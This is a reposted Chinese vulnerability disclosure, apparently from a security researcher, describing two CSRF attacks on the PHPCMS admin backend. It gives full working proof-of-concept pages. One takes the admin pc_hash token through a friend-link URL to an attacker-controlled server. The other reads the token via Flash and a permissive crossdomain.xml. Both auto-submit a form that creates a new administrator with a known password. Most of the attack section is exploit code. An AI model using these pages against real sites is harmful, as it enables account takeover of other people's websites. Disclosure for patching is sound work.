IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    PHPCMS后台CSRF加管理两种方法POC

    没穿底裤发表于 2015-10-09 13:08:48
    love 0

    漏洞作者: phith0n

    详细说明:

    之前多个漏洞,其实都是利用了Referer,如最新这个:http://wooyun.org/bugs/wooyun-2015-098434

    其实我们可以不利用Referer,能更简单获取pc_hash,并进行CSRF攻击。

    法一

    先管理员登录后台,来到随意一个功能页面,右键查看框架的源代码,其中有这么一段javascript:

    window.focus();
    
    	var pc_hash = 'loP6gO';
    
    			window.onload = function(){
    
    		var html_a = document.getElementsByTagName('a');
    
    		var num = html_a.length;
    
    		for(var i=0;i<num;i++) {
    
    			var href = html_a[i].href;
    
    			if(href && href.indexOf('javascript:') == -1) {
    
    				if(href.indexOf('?') != -1) {
    
    					html_a[i].href = href+'&pc_hash='+pc_hash;
    
    				} else {
    
    					html_a[i].href = href+'?pc_hash='+pc_hash;
    
    				}
    
    			}
    
    		}
    
    
    
    		var html_form = document.forms;
    
    		var num = html_form.length;
    
    		for(var i=0;i<num;i++) {
    
    			var newNode = document.createElement("input");
    
    			newNode.name = 'pc_hash';
    
    			newNode.type = 'hidden';
    
    			newNode.value = pc_hash;
    
    			html_form[i].appendChild(newNode);
    
    		}
    
    	}

     

    查找页面中所有超链接(a),如果不是“javascript:”开头的话,就添加pc_hash在url最后。

    并没有判断这个链接是否是站内链接!

    所以,如果我提交一个友情链接地址,也会被加上pc_hash,等于说pc_hash被加在我的url后面,我的服务器可以获取之!

    来测试。首先前台提交一个友情链接:

    06134241eb8aa89e441bb30ac2988b8b0142909c[1]

    地址是我的POC(http://mhz.pw/game/tx/phpcms.php),内容如下:

    <!DOCTYPE html>
    
    <html>
    
      <head>
    
        <meta charset="utf-8">
    
        <title>phpcms csrf 加管理</title>
    
        <script type="text/javascript">
    
        gum = function(){
    
        var u = {
    
            'version':'1140213',
    
            'domain':'{{domain}}',
    
            'backinfo':{},
    
            'author': 'https://github.com/quininer/gum'
    
        };
    
        u.e = function(code){try{return eval(code)}catch(e){return ''}};
    
        u.name = function(names){
    
            return document.getElementsByTagName(names);
    
        };
    
        u.html = function(){
    
                return u.name('html')[0]
    
                        ||document.write('<html>')
    
                        ||u.name('html')[0];
    
        };
    
        u.addom = function(html, doming, hide){
    
            (!doming)&&(doming = u.html());
    
            var temp = document.createElement('span');
    
            temp.innerHTML = html;
    
            var doms = temp.children[0];
    
            (hide)&&(doms.style.display = 'none');
    
            doming.appendChild(doms);
    
            return doms;
    
        };
    
        u.post = function(url, data){
    
            var form = u.addom("<form method='POST'>", u.html(), true);
    
            form.action = url;
    
            for(var name in data){
    
                var input = document.createElement('input');
    
                input.name = name;
    
                input.value = data[name];
    
                form.appendChild(input);
    
            };
    
            form.submit();
    
        };
    
        return u;
    
    }();
    
    var timestamp = (Date.parse(new Date())) / 1000;
    
    gum.post('http://web.com/phpcms/index.php?m=admin&c=admin_manage&a=add', {
    
        'info[username]': 'test_' + timestamp,
    
        'info[password]': '123123',
    
        'info[pwdconfirm]': '123123',
    
        'info[email]': '123@qq.com',
    
        'info[realname]': '',
    
        'info[roleid]': '1',
    
        'dosubmit': '提交',
    
        'pc_hash': '<?php echo $_GET['pc_hash']; ?>'
    
    });
    
        </script>
    
      </head>
    
      <body>
    
    
    
      </body>
    
    </html>

     

    然后管理员在后台审核友情链接处即可看到:

    06134450f1fed024c2ef6f6da8fb87dc2db4cda0[1]

    如上图,phpcms直接将pc_hash加入了我的链接后面。所以管理员点击链接后我即可接收到pc_hash,进而进行CSRF攻击。

    上述POC,在管理员点击后,会给目标站创建一个用户名为test_+时间戳,密码是123123的管理员:

    061346303c3ae091aaa22acbeda4b3e9ff127d38[1]

    法二

    与discuz类似,phpcms在默认安装完成后也没有修改crossdomain.xml,典型例子就是其官网

    http://www.phpcms.cn/crossdomain.xml ,和官方演示站:http://v9.demo.phpcms.cn/crossdomain.xml

    06134811cdf7ee98bcd3e8c7bffd8b926e41ffbb[1]

    那么我就可以通过flash直接获取其pc_hash。

    蚁逅平台做演示:

    06135105122458408a1ea22c7aace20fd574c623[1]

    构造POC,自动添加管理员:http://mhz.pw/game/tx/phpcms1.php?domain=localphpcms.com

    domain是目标域名。

    <?php
    
    $domain = isset($_GET['domain']) ? htmlspecialchars($_GET['domain'], ENT_COMPAT | ENT_HTML401 | ENT_QUOTES) : exit("no domain");
    
     ?>
    
    <!DOCTYPE html>
    
    <html>
    
      <head>
    
        <meta charset="utf-8">
    
        <title>phpcms csrf 加管理</title>
    
      </head>
    
      <body>
    
        <p>phpcms flash跨域 csrf 加管理</p>
    
    
    
    <object style="height:1px;width:1px;" data="c00y.swf" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="callback=getdata&url=http%3A%2F%2F<?php echo $domain; ?>%2Findex.php%3Fm%3Dadmin%26c%3Dindex"></object>
    
    
    
    <script type="text/javascript">
    
    function send(pc_hash){
    
      gum = function(){
    
        var u = {
    
            'version':'1140213',
    
            'domain':'{{domain}}',
    
            'backinfo':{},
    
            'author': 'https://github.com/quininer/gum'
    
        };
    
        u.e = function(code){try{return eval(code)}catch(e){return ''}};
    
        u.name = function(names){
    
            return document.getElementsByTagName(names);
    
        };
    
        u.html = function(){
    
                return u.name('html')[0]
    
                        ||document.write('<html>')
    
                        ||u.name('html')[0];
    
        };
    
        u.addom = function(html, doming, hide){
    
            (!doming)&&(doming = u.html());
    
            var temp = document.createElement('span');
    
            temp.innerHTML = html;
    
            var doms = temp.children[0];
    
            (hide)&&(doms.style.display = 'none');
    
            doming.appendChild(doms);
    
            return doms;
    
        };
    
        u.post = function(url, data){
    
            var form = u.addom("<form method='POST'>", u.html(), true);
    
            form.action = url;
    
            for(var name in data){
    
                var input = document.createElement('input');
    
                input.name = name;
    
                input.value = data[name];
    
                form.appendChild(input);
    
            };
    
            form.submit();
    
        };
    
        return u;
    
      }();
    
      var timestamp = (Date.parse(new Date())) / 1000;
    
      gum.post('http://<?php echo $domain; ?>/index.php?m=admin&c=admin_manage&a=add', {
    
      'info[username]': 'test_' + timestamp,
    
      'info[password]': '123123',
    
      'info[pwdconfirm]': '123123',
    
      'info[email]': '123@qq.com',
    
      'info[realname]': '',
    
      'info[roleid]': '1',
    
      'dosubmit': '提交',
    
      'pc_hash': pc_hash
    
      });
    
    }
    
    
    
    function getdata(html)
    
    {
    
    	var ret = html.match(/pc_hash=([a-zA-Z0-9]{6})/);
    
    	if(ret.length < 2) return false;
    
    	var pc_hash = ret[1];
    
    	//alert(formhash);
    
    	send(pc_hash);
    
    }
    
    </script>
    
    
    
      </body>
    
    </html>

     

    localphpcms.com的管理员访问以上POC即可添加一个管理。

    不多解释了。

    两种方法,均可CSRF加管理。



沪ICP备19023445号-2号
友情链接